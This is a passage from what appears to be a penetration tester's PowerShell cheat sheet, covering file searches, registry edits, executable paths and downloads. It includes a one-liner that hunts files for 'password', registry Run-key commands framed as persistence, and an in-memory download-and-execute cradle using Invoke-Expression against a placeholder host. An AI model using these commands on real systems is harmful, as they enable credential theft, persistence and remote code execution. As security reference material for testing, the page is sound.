  • -eq $true was omitted from the filter rule. When a filter script already returns a Boolean, you do not need to add a comparison operator and object if you just want it to work when the Boolean is true.
    • Also note that this will work for some non-Booleans, like in this script. Here, a match will result in a populated array object, which is treated as true, while a non-match will return an empty array which is treated as false.
  • Write-Output was omitted. PowerShell will try to do this as a default action if an object is given without a command. If you don't need all the file's properties, and just want the full path on one line before the file contents, you could use this instead:
    • ls -R|?{$_|sls 'password'}|%{$_.FullName;gc $_}

Modifying the Registry

Here, HKCU:\Software\Microsoft\Windows\CurrentVersion\Run is given as the path (a popular persistence location!), but any path can be substituted.

# add a new key to registry:
New-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $key_name

# then set its properties with:
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -PropertyType String -Name $key_name -Value "$key_value"

# To edit a value that is already set:
Set-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $key_name -Value "$new_value"

MISC

PowerShell.exe location on disk

{% tabs %} {% tab title="Windows" %}

Windows PowerShell Executables File System Locations on 64-bit Windows

The default paths to the executables for PowerShell and PowerShell ISE on relevant 64-bit Windows operating systems:

When converting cmd.exe environment variables to PowerShell:

%SYSTEMROOT% == $env:SystemRoot
Name Location
32-bit (x86) PowerShell executable $env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
64-bit (x64) Powershell executable $env:SystemRoot\system32\WindowsPowerShell\v1.0\powershell.exe
32-bit (x86) Powershell ISE executable $env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe
64-bit (x64) Powershell ISE executable $env:SystemRoot\system32\WindowsPowerShell\v1.0\powershell_ise.exe

Windows PowerShell Executables File System Locations on 32-bit Windows

The default paths to the executables for PowerShell and PowerShell ISE on relevant 32-bit Windows operating systems:

Name Location
32-bit (x86) Powershell executable $env:SystemRoot\system32\WindowsPowerShell\v1.0\powershell.exe
32-bit (x86) Powershell ISE executable $env:SystemRoot\system32\WindowsPowerShell\v1.0\powershell_ise.exe
{% endtab %}

{% tab title="Linux/MacOS" %}

PowerShell full path: /usr/local/microsoft/powershell/7/

7 is the version number of PS Core, so this can change...

{% endtab %} {% endtabs %}

Downloading files with PowerShell (wget)

PowerShell version of wget:

powershell -c "(New-Object System.Net.WebClient).DownloadFile('$ip:$port/$file','$outfile'))"

You can also use the example below to save the file to the local machine.

wget https://zweilosec.gitbook.io/hackers-rest -OutFile C:\Windows\Temp\out.html

wget is an alias for Invoke-WebRequest. Adding -Outfile $out_file is needed to save the file to disk.

Retrieve file and execute remote code after downloading (in-memory!):

powershell -c "Invoke-Expression(New-Object System.Net.Webclient).downloadString('http://$ip:$port/$file')"

Silence PowerShell error messages

Many PowerShell cmdlets support the -ErrorAction SilentlyContinue attribute, which works similarly to using 2>/dev/null in Linux. However, this only works for that cmdlet, not the entire one-liner if you pipe output or use semi-colons, etc. This can be shortened to -EA Silently.

Unsorted...

PowerShell reverse shell and exploit scripts: nishang To learn how to use this tool check out Ippsec's video on youtube: Ippsec:HacktheBox - Optimum

Resources

If you like this content and would like to see more, please consider buying me a coffee!